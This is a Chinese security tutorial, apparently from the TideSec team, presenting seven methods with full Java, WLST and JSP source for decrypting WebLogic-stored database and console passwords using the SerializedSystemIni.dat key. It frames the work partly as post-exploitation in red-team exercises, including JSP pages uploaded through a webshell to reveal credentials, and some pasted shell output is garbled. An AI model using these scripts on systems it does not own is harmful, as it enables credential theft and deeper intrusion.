一文解密所有WebLogic密文

笔记本: 安全工具使用

创建时间: 2019-12-5 6:17 **更新时间:** 2019-12-5 6:19

URL: https://mp.weixin.qq.com/s/HY0X3koYVElotYlQZi680w

前言

关于weblogic密文的解密文章也有不少,最早看到的是之前乌云的一篇解密文章,后来oracle官方也出了解密脚本,还有国外大牛NetSPI写的工具,但经过多次试用发现并不能"通杀"式的解决所有weblogic密文,于是在查阅大量资料后整理了7种解密weblogic的方法。

文中涉及的所有工具和脚本都打包放在了github上,方便大家下载

https://github.com/TideSec/Decrypt_Weblogic_Password

背黒

在一些hw行动中,webshell权限的分值可能还没有数据库权限的分值高,所以很多时候在拿到webshell后第一时间就是去翻配置文件找数据库连接密码,然后配置代理连接数据库截图拿分。

或者自己的weblogic由于长时间没有登录,忘记了console登录密码,这时候可能也需要对密文进行解密。

如果中间件是使用的tomcat,那么数据库连接密码一般都是明文保存在配置文件中的,但很多政府单位或大中型企业用weblogic居多,而生产环境部署的weblogic默认会对数据库连接字符串进行加密,还会对console控制台的登录账号和密码进行加密。

weblogic加密分析

weblogic目前市面上有两种加密方式3DES和AES,这两种加密都属于对称加密, 所以只要有密钥就能解出密文。

先来简单了解下3DES和AES:

DES: Data Encryption Standard (数据加密标准)是一种经典的对称算法,其数据分组长度为64位,使用的密钥为64位,有效密钥长度为56位(有8位用于奇偶校验)。由IBM公司在70年代开,于1976年11月被美国国密局采用。该技术算法公开,在各行业有着广泛的应用。

3DES:由于计算机能力的飞速发展,DES的56位密钥长度显得有些太短了,已经有可能通过暴力穷举的方式对密文进行破译,于是有了3DES。3DES相当于对统一数据块采用3次DES,3次DES使用的密钥如果完全不同,则密钥长度可以达到168位,大大延长了被暴力破解的时间。

AES: Advanced Encryption Standard (高级数据加密标准), NIST (美国国家标准和技术协会)挑选出的下一代加密算法,能够抵御已知的针对 DES 算法的所有攻击,而且相比于 3DES,它的加密效率高,安全性能高。

对加密算法感兴趣的可以看看《图解密码技术》, 讲的比较通俗易懂。

其实,不懂算法也没任何关系,因为我们可以通过weblogic版本号来区分加密方式。weblogic在旧版本的加密中使用的是3DES,而在Weblogic 11gR1之后的版本中就开始使用AES进行加密。有些人对weblogic版本不太清楚,总觉得10.3.6是11g之前的老版本,其实10.3.6就是属于11g的,这个只能怪oracle发布的版本号有点乱。

大家看下这个表就能轻易看懂版本号了。

```
WebLogic Server 12cR2(12.2.1.4)-2019年9月27日
WebLogic Server 12cR2(12.2.1.3)-2017年8月30日
WebLogic Server 12cR2(12.2.1.2)-2016年10月19日
WebLogic Server 12cR2(12.2.1.1)-2016年6月21日
WebLogic Server 12cR2(12.2.1.0)-2015年10月23日
WebLogic Server 12cR1(12.1.3)-2014年6月26日
WebLogic Server 12cR1(12.1.2)-2013年7月11日
WebLogic Server 12cR1(12.1.1)-2011年12月1日
WebLogic Server 11gR1 PS5(10.3.6)-2012年2月23日
WebLogic Server 11gR1 PS4(10.3.5)-2011年5月6日
WebLogic Server 11gR1 PS3(10.3.4)-2011年1月15日
WebLogic Server 11gR1 PS2(10.3.3)-2010年四月
WebLogic Server 11gR1 PS1(10.3.2)-2009年11月
```

—-AES和3DES加密方式分割线,上面的就是AES加密,下面的就是3DES加密—-

```
WebLogic Server 11g (10.3.1) - 2009年7月
WebLogic Server 10.3 - 2008年8月
WebLogic Server 10.0 - 2007年3月
WebLogic Server 9.2.4 - 2010年7月22日
WebLogic Server 9.1
```

```
WebLogic Server 9.0 - 【Diablo】2006年11月
WebLogic Server 8.1—2003年7月发行到2004年8月为成熟版本,也已不再支持
WebLogic Server 7.0—2002年6月发行但是BEA公司推荐放弃使用。
WebLogic Server 6.1 - 从November 2006不再支持
WebLogic Server 6.0 - 2001年3月,从April 2003不再支持
WebLogic Server 5.1 - (代码名: Denali)第一个支持热部署技术的版本
WebLogic Server 4.0 - 1999年
WebLogic Tengah 3.1 - 1998年6月
WebLogic Tengah 3.0.1 - 1998年3月
WebLogic Tengah 3.0 - 1998年1月
WebLogic Tengah - 1997年11月
```

你说看不到版本号?也没问题,其实看下配置文件里的连接字符串,一看就能看出使用的是什么加密方式。因为在每个加密字符串前都标识了{AES}或{3DES}。

比如AES一般是这样的 {AES}ObwFrA5PSOW+/7+vgtZpxk/1Esw81ukoknfH4QUYjWY=

3DES一般是这样的 {3DES}JMRazF/vClP1WAgy1czd2Q==

在了解了weblogic加密方式后,我们开始对其解密。

文中涉及的所有工具和脚本都打包放在了gayhub上,方便大家下载

```
https://github.com/TideSec/Decrypt_Weblogic_Password
```

解密前的准备

自己搭建weblgic环境建议使用docker, 我是直接用的p神的vulhub里的weblogic环境,测试主要使用了weblogic 10.3.6版本和weblogic 12.2.1.3两个版本, docker compose在这里

[https://github.com/vulhub/vulhub/tree/master/weblogic/]
(https://github.com/vulhub/vulhub/tree/master/weblogic/) .

账号权限: weblogic或root用户权限, 能查看weblogic域文件

密钥文件: SerializedSystemIni.dat

SerializedSystemIni.dat是解密的核心文件,一般保存在weblogic域的security目录下。比如weblogic的domain目录为:

```
/root/Oracle/Middleware/user_projects/domains/base_domain/
```

那么SerializedSystemIni.dat文件一般在

/root/Oracle/Middleware/user_projects/domains/base_domain/security/
SerializedSystemIni.dat

一个domain里面只会有一个这个文件,如果一个weblogic下有多个domain,可能会出现多个 SerializedSystemIni.dat 文件,这时候可以通过find一下就可以。由于系统有个自带sample目录也有该文件,所以出现多个结果,稍微分辨一下就可以。

```
root@dfeb@a1f8f93:~/Oracle/Middleware# find / -name "*SerializedSystemIni*"
/tmp/SerializedSystemIni.dat
/root/Oracle/Middleware/wlserver_10.3/samples/dcmains/wl_server/security/SerializedSystemIni.dat
/root/Oracle/Middleware/wlserver_10.3/samples/dcmains/medrec-spring/security/SerializedSystemIni.dat
/root/Oracle/Middleware/wlserver_10.3/samples/dcmains/medrec-spring/security/SerializedSystemIni.dat
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/muma/bzchws/war/SerializedSystemIni.dat
root@dfeb@a1f8f93:~/Oracle/Middleware#
```

密文文件

weblogic的密文分两类,一类是数据库连接字符串,一类是console登录用户名和密码。

数据库连接字符串一般是在config/jdbc目录下的**jdbc.xml文件

中:/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/tide-jdbc.xml

而console登录用户名和密码一般也是在 security 目录

下: /root/Oracle/Middleware/user_projects/domains/base_domain/securit y/boot.properties

```
#Wed Jul 03 16:46:52 CST 2019

password={AES}umxNK/rw6v2/i8XAOR7RCM3DNQ30ash5DuIT5G6PG6k\=
username={AES}FEBDG30uJAEsN8aF7EFQTitWD9ipnPP5

#Wed Jul 03 16:46:52 CST 2019
```

有了这几个文件后,便可以尝试对密文进行解密了。

解密方法1: 官方解密方法

oracle官方给出的解密方法,但后来又莫名其妙从官方网站删掉了,且该方法需要在与WebLogic相同的domain下使用,成功率比较低。

适用场景:本地和服务器上都可以执行,但本地的话要求比较多,该方法我是直接在服务器上测试运行。

操作难易:★★★

成功几率:★★

推荐指数:★★

相关工具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools1-decryptWLSPwd

WebLogic上自带了一个叫做WLST (WebLogic Scripting Tool)的脚本工具,是一种命令行脚本界面,系统管理员可以用它来监视和管理WebLogic实例和域。也就是说,除了在WebLogic管理控制后台进行操作管理外,还可以通过使用WLST以Command命令行的方式在管理控制台进行管理。而利用该工具我们可以运行python。

官方python解密脚本如下,代码出自

https://blogs.oracle.com/jiechen/entry/decrypt_encrypt_the_weblogic_p assword, 后来被删除。

```
import os
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
def decrypt(agileDomain, encryptedPassword):
agileDomainPath = os.path.abspath(agileDomain)
encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncr
yptionService(agileDomainPath)
ces = weblogic.security.internal.encryption.ClearOrEncryptedService
(encryptSrv)
password = ces.decrypt(encryptedPassword)
print "Plaintext password is:" + password
try:
if len(sys.argv) == 3:
decrypt(sys.argv[1], sys.argv[2])
else:
print "Please input arguments as below"
```

```
print " Usage 1: java weblogic.WLST decryptWLSPwd.py "
print " Usage 2: decryptWLSPwd.cmd "
print "Example:"
print " java weblogic.WLST decryptWLSPwd.py C:\Agile\Agile933\agileD
omain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIi0VmAs="
print " decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBI
i0VmAs="
except:
print "Exception: ", sys.exc_info()[0]
dumpStack()
raise
```

在服务器上运行解密命令如下:

java weblogic.WLST decryptWLSPwd.py . "{AES}yvGnizbUS0lga6iPA5LkrQdI
mFiS/DJ8Lw/yeE7Dt0k="

root@dfeb@a1f8f93:~/Oracle/Middleware/user_projects/domains/base_domain# java weblogic.WLST decrypt.py . "{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=" Initializing Weblogic Scripting Tool (MLST) ... Welcome to Weblogic Server Administration Scripting Shell Type help() for help on available commands Plaintext password is:Oracle@123

可能是因为成功率低或者其他原因,官方随后删掉了该脚本,后来NetSPI的大佬写了个下面方法2的工具

https://github.com/NetSPI/WebLogicPasswordDecryptor,并把分析过程写了 篇文章,译文可以看做个http://bobao.360.cn/learning/detail/337.html。

解密方法2: NetSPI大佬的工具

使用解密工具本地执行,该工具也是weblogic解密使用最多的一个,但java版编译略麻烦,成功率也比较一般。

适用场景: 本地机器执行

操作难易:★★★★

成功几率:★★★

推荐指数:★★

相关丁具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools2-WebLogicPasswordDecryptor

原作者地址为 https://github.com/NetSPI/WebLogicPasswordDecryptor , 但这里面并没有 bcprov-jdk15on-162.jar 包,自己编译时会报错。

里面有两个版本,一个是powershell版,一个是java版的。

先说java版的。我使用的mac进行编译,过程如下。

从我的github

里 https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools2-WebLogicPasswordDecryptor

或者从官网 https://www.bouncycastle.org/latest_releases.html 下载一个 bcprov-ext-jdk15on-162.jar 包, 拷贝到 \$J**A_HOME\jre\lib\ext\。

在 \$J**A_HOME\jre\lib\security\java.security 中增加一行
security.provider.11=org.bouncycastle.jce.provider.BouncyCastleProvider

```
68 security.provider.1=sun.security.provider.Sun
69 security.provider.2=sun.security.rsa.SunRsaSign
70 security.provider.3=sun.security.ec.SunEC
71 security.provider.4=com.sun.net.ssl.internal.ssl.Provider
72 security.provider.5=com.sun.crypto.provider.SunJCE
73 security.provider.6=sun.security.jgss.SunProvider
74 security.provider.7=com.sun.security.sasl.Provider
75 security.provider.8=org.jcp.xml.dsig.internal.dom.XMLDSigRI
76 security.provider.9=sun.security.smartcardio.SunPCSC
77 security.provider.10=apple.security.AppleProvider
79 \ \ security.provider.11 = org.bouncy castle.jce.provider.Bouncy Castle Provider
81 # Sun Provider SecureRandom seed source.
82 #
83 # Select the primary source of seed data for the "SHA1PRNG" and
87 # On Unix-like systems (for example, Solaris/Linux/MacOS), the
88 # "NativePRNG" and "SHA1PRNG" implementations obtains seed data from
89 # special device files such as file:/dev/random
90 #
91 # On Windows systems, specifying the URLs "file:/dev/random" or
92 # "file:/dev/urandom" will enable the native Microsoft CryptoAPI seeding
/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/security/java.security/in
```

编译J**A文件,有可能会报警,只要不报错就没事,然后输入密钥和密文即可解密。

但之前遇到过几次解不出来的情况,使用其他方式则能顺利解出明文。 再说powershell版的,使用比较简单,在powershell中导入

```
Import-Module .\Invoke-WebLogicPasswordDecryptor.psm1
```

这个时候如果报错 无法加载文件 Invoke-WebLogicPasswordDecryptor.ps1,因为在此系统中禁止执行脚本 这样的错误,可以先执行 set-ExecutionPolicy RemoteSigned ,再重新导入即可。

但是在执行解密的时候又报错了,尝试在不同操作系统下执行,都是一样的错误,这个解密的ps脚本从来没成功过。

解密方法3: 执行java代码1

在本地或服务器上都可执行,本地的话需要weblogic环境,且版本要和目标系统版本一致。在服务器上执行时要求能通过webshell能执行java命令。

适用场景: 本地或服务器上都可执行

操作难易:★★★★

成功几率:★★★

推荐指数:★★★

相关工具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools3-Decrypt

找到密钥文件 SerializedSystemIni.dat , 把它复制到其他的文件夹, 比如/tmp下面。

在这个文件夹下新建一个java文件,Decrypt.java,名字需要和内容的class名字一样。

```
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;
import java.io.PrintStream;
public class Decrypt {
static EncryptionService es = null;
static ClearOrEncryptedService ces = null;
public static void main(String[] args) {
String s = null;
if (args.length == 0) {
s = ServerAuthenticate.promptValue("Password: ", false);
} else if (args.length == 1) {
s = args[0];
} else {
System.err.println("Usage: java Decrypt [ password ]");
es = SerializedSystemIni.getExistingEncryptionService();
if (es == null) {
System.err.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if (s != null) {
System.out.println("\nDecrypted Password is:" + ces.decrypt(s));
```

}
}
}

根据目标的操作系统,在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。

root@dfeb0a1f8f93:~/Oracle/Middleware# find / -name "*setWLSEnv*" /root/Oracle/Middleware/wlserver_10.3/server/bin/setWLAEpyeSet全国队root@dfeb0a1f8f93:~/Oracle/Middleware#

注意该文件并非

是 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

而是 /root/Oracle/Middleware/wlserver_10.3/server/bin/setWLSEnv.sh

ver/bin/setWlStrv.3NDracle/Middleware/ /root/Uracle/Middleware/wlserver_10.3/serv
CLASSPATH-/root/Oracle/Middleware/patch_wls1036/profiles/default/sys_mainfest_classpath/weblogic_patch.jar:/root/jdk/jdk1.6.0_45/lib/tools.jar:/root/Oracle/Middleware/modules/features/weblogic.server.modules_10.3.6.0.jar:/root/Oracle/Middleware/wlserver_10.3/server/lib/webiddleware/modules/net.sf.antcontrib_1.1.0.0_1-0bZ/lib/ant-contrib.jar:

PATH-/root/Oracle/Middleware/wlserver_10.3/server/bin:/root/Oracle/Middleware/modules/org.apache.ant_1.7.1/bin://ot/jdk1.6.0_45/jre/bin_/root/jdk/jare/oracle_common/common/bin:/root/Oracle/Middleware/wlserver_10.3/common/bin:/root/Oracle/Middleware/user_projectory | Oracle/Middleware/wlserver_10.3/common/bin:/root/Oracle/Middleware/wlserver_projectory | Oracle/Middleware/wlserver_10.3/common/bin:/root/Oracle/Middleware/wlserver_projectory | Oracle/Middleware/wlserver_10.3/common/bin:/root/Oracle/Middleware/wlserver_projectory | Oracle/Middleware/wlserver_10.3/common/bin:/root/Oracle/

执行后会出来一长串环境变量,分别是CLASSPATH和PATH。

但是有些情况下这些环境变量没有加进去(可以通过 echo \$CLASSPATH 查看是否为空), \$CLASSPATH 为空时则需要手工执行一下(linux下, windows一般不会出现这个情况)

手工执行 setWLSEnv.sh 的内容

export CLASSPATH=/root/Oracle/Middleware/patch_wls1036/profiles/def ault/sys_manifest_classpath/weblogic_patch.jar:/root/jdk/jdk1.6.0_4 5/lib/tools.jar:/root/Oracle/Middleware/wlserver_10.3/server/lib/weblogic_sp.jar:/root/Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar:/root/Oracle/Middleware/modules/features/weblogic.server.modules_10.3.6.0.jar:/root/Oracle/Middleware/wlserver_10.3/server/lib/webservices.jar:/root/Oracle/Middleware/modules/org.apache.ant_1.7.1/lib/ant-all.jar:/root/Oracle/Middleware/modules/net.sf.antcontrib 1.1.0.0 1-0b2/lib/ant-contrib.jar:

export PATH=/root/Oracle/Middleware/wlserver_10.3/server/bin:/root/Oracle/Middleware/modules/org.apache.ant_1.7.1/bin:/root/jdk/jdk1.6.0_45/jre/bin:/root/jdk/jdk1.6.0_45/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/bin:/root/Oracle/Middleware/oracle_common/common/bin:/root/Oracle/Middleware/wlserver_10.3/common/bin:/root/Oracle/Middleware/user_projects/domains/base_domain/bin

再执行一下echo \$CLASSPATH确认是否加上了。成功后就可以进行下一步了。

到之前放Decrypt.java的目录执行 javac Decrypt.java

然后执行 java Decrypt 加密后密码,比如

```
java Decrypt {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
```

执行完后就会告诉你 Decrypted Password is: Oracle@123

```
7Dt0k=feb0a1f8f93:/tmp# java Decrypt {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE

Decrypted Password is:Oracle@123
```

weblogic的控制台密码也是用同样的方式加密的。

解密方法4: 执行java代码2

其实和方法3原理类似,只是多了对xml的解析,可以把xml里的所有密文都能一次性解密。

适用场景:本地或服务器上都可执行

操作难易:★★★★

成功几率:★★★

推荐指数:★★★

相关工具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools4-WebLogicDecryptor

代码如下 WebLogicDecryptor.java:

```
import java.util.*;
import java.io.*;
import javax.xml.parsers.*;
import javax.xml.xpath.*;
import org.w3c.dom.*;
import weblogic.security.internal.*; // requires weblogic.jar in the class path
import weblogic.security.internal.encryption.*;

public class WebLogicDecryptor {
  private static final String PREFIX = "{AES}";
  private static final String XPATH_EXPRESSION = "//node()[starts-with (text(), '"
  + PREFIX + "')] | //@*[starts-with(., '" + PREFIX + "')]";
```

```
private static ClearOrEncryptedService ces;
public static void main(String[] args) throws Exception {
if (args.length < 2) {</pre>
throw new Exception("Usage: [domainDir] [configFile]");
}
ces = new ClearOrEncryptedService(
SerializedSystemIni.getEncryptionService(new File(args[0])
.getAbsolutePath()));
File file = new File(args[1]);
if (file.getName().endsWith(".xml")) {
processXml(file);
else if (file.getName().endsWith(".properties")) {
processProperties(file);
}
private static void processXml(File file) throws Exception {
Document doc = DocumentBuilderFactory.newInstance()
.newDocumentBuilder().parse(file);
XPathExpression expr = XPathFactory.newInstance().newXPath()
.compile(XPATH_EXPRESSION);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODES
ET);
for (int i = 0; i < nodes.getLength(); i++) {</pre>
Node node = nodes.item(i);
print(node.getNodeName(), node.getTextContent());
}
private static void processProperties(File file) throws Exception {
Properties properties = new Properties();
properties.load(new FileInputStream(file));
for (Map.Entry p : properties.entrySet()) {
if (p.getValue().toString().startsWith(PREFIX)) {
print(p.getKey(), p.getValue());
}
}
}
private static void print(Object attributeName, Object encrypted) {
System.out.println("Node name: " + attributeName);
System.out.println("Encrypted: " + encrypted);
System.out.println("Decrypted: " + ces.decrypt((String) encrypted)
+ "\n");
}
}
```

```
javac WebLogicDecryptor.java
```

编译后执行

```
java WebLogicDecryptor domina dir config file
```

在我这里就是

java WebLogicDecryptor

/root/Oracle/Middleware/user_projects/domains/base_domain
/root/Oracle/Middleware/user_projects/domains/base_domain/config/conf
ig.xml



解密方法5:本地GUI解密工具

使用一剑大佬已经写好的解密工具,不需要本地安装weblogic环境,工具已经自带lib依赖文件。成功率比较高,简单易用,比较推荐。

适用场景: 本地执行

操作难易:★

成功几率:★★★★

推荐指数:★★★★

相关工具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt

拿到 SerializedSystemIni.dat 文件后,使用工具 weblogic_decrypt.jar 进行直接解密。

灰常简单,选择 SerializedSystemIni.dat 文件,填入密文,即可解密。

	weblogic解密&一剑
weblogic解密	
文件	/Users/xysoul/Downloads/SerializedSystemIni.dat 选择文件
密文	{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
结果	Oracle@123
	确定 取消
	Control of the Contr

解密方法6:服务端jsp解密1

jsp脚本解密,需要上传jsp文件到服务器,访问即可获取密码,需要提前配置一下及格参数。

适用场景:在服务器中上传jsp即可

操作难易:★★

成功几率:★★★

推荐指数:★★★★

相关工具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/T ools6-get wls pwd1

在使用前需要改一下PREFIX,还需要指定Secruity_path和Config_path路径。 然后上传到目标服务器上,访问即可。

← → C ① 不安全 | 192.168.1.105:7001/muma/pwd1.jsp

Node name: node-manager-password-encrypted

Encrypted: {AES}yvGnizbUS0lga6iPA5LkrQdlmFiS/DJ8Lw/yeE7Dt0k=

Decrypted: Oracle@123

② TideSec安全团队

代码如下:

```
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.*"%>
<%@ page import="javax.xml.parsers.*"%>
<%@ page import="org.w3c.dom.*"%>
<%@ page import="javax.xml.xpath.*"%>
```

```
<%@ page import="weblogic.security.internal.*"%>
<%@ page import="weblogic.security.internal.encryption.*"%>
<%!
private static final String PREFIX = "{AES}";
private static final String XPATH EXPRESSION = "//node()[starts-with
(text(), '"
+ PREFIX + "')] | //@*[starts-with(., '" + PREFIX + "')]";
private static ClearOrEncryptedService ces;
private static final String Secruity_path = "/root/Oracle/Middleware/
user projects/domains/base domain/security";
private static final String Config_path = "/root/Oracle/Middleware/us
er_projects/domains/base_domain/config/config.xml";
private static String processXml(File file) {
String result = "";
try{
Document doc = DocumentBuilderFactory.newInstance()
.newDocumentBuilder().parse(file);
XPathExpression expr = XPathFactory.newInstance().newXPath()
.compile(XPATH_EXPRESSION);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODES
ET);
for (int i = 0; i < nodes.getLength(); i++) {</pre>
Node node = nodes.item(i);
result = print(node.getNodeName(), node.getTextContent());
}catch (Exception e) {
result = "<font color=\"red\">出错了。。</font>";
return result;
private static String processProperties(File file)
{
String result = "";
Properties properties = new Properties();
properties.load(new FileInputStream(file));
for (Map.Entry p : properties.entrySet()) {
if (p.getValue().toString().startsWith(PREFIX)) {
result = print(p.getKey(), p.getValue());
}
}
}catch (Exception e) {
result = "<font color=\"red\">出错了。。</font>";
}
return result;
}
```

```
private static String print(Object attributeName, Object encrypted){
String retStr = "Node name: " + attributeName +"<br>";
retStr += "Encrypted: " + encrypted + "<br>";
retStr += "Decrypted: " + ces.decrypt((String) encrypted );
return retStr;
}
private static String getPassword(){
String result = "";
ces = new ClearOrEncryptedService(
SerializedSystemIni.getEncryptionService(new File(Secruity_path)
.getAbsolutePath()));
File file = new File(Config_path);
if (file.getName().endsWith(".xml")) {
result = processXml(file);
else if (file.getName().endsWith(".properties")) {
result = processProperties(file);
return result;
}
%>
<%
out.println(getPassword());
%>
```

解密方法7: 服务端jsp解密2

jsp脚本解密,需要上传jsp文件到服务器,访问即可获取密码,简单粗暴,非常推荐!

适用场景:在服务器中上传jsp即可

操作难易:★

成功几率:★★★

推荐指数: ★★★★★

相关工具:

https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools7-get_wls_pwd2

只需要把要解密的密文写在jsp文件中即可,上传服务器,访问后即得明文。

Decrypted Password is:Oracle@123

(全) TideSec安全团队

代码如下:

```
<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.inter</pre>
nal.encryption.*"%>
<%
EncryptionService es = null;
ClearOrEncryptedService ces = null;
String s = null;
s="{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=";
es = SerializedSystemIni.getEncryptionService();
if (es == null) {
out.println("Unable to initialize encryption service");
return;
ces = new ClearOrEncryptedService(es);
if (s != null) {
out.println("\nDecrypted Password is:" + ces.decrypt(s));
}
%>
```

注意事项

1、如果AES加密后的密码为:

{AES}Nu2LEjo0kxMEd4G5L9bYLE5wI5fztbgeRpFec9wsrcQ\= 破解时需要把后面的\给去掉,不然会执行报错。

2、有时候用webshell下载密钥 SerializedSystemIni.dat 文件后可能会和源文件不一致,从而导致解密失败,主要是因为 SerializedSystemIni.dat 文件为二进制文件,直接使用浏览器下载可能遭到破坏。

这时可以使用webshell执行tar命令,将 SerializedSystemIni.dat 文件打包后再下载或者使用Burpsuite的copy to file来进行保存。

一般来说 SerializedSystemIni.dat 文件为64字节,如果大小和这个不符,那么你下载的密钥可能不是原始文件。

参考资料

weblogic密码加解密:

https://blog.csdn.net/rznice/article/details/50906335

weblogic的boot.properties中密码破解:

http://www.itpub.net/thread-1421403-1-1.html

Weblogic解密脚本 (无需weblogic环境):

https://blog.csdn.net/qq 27446553/article/details/51013151

我们应该了解的JNDI数据源配置:

https://www.freebuf.com/news/193304.html

破解weblogic(数据库)密码:

https://www.cnblogs.com/holdon521/p/4110750.html

解密JBoss和Weblogic数据源连接字符串和控制台密码:

http://drops.xmd5.com/static/drops/tips-349.html

解密WebLogic的密码: http://bobao.360.cn/learning/detail/337.html

文中涉及的所有工具和脚本都打包放在了github上,方便大家下载

https://github.com/TideSec/Decrypt_Weblogic_Password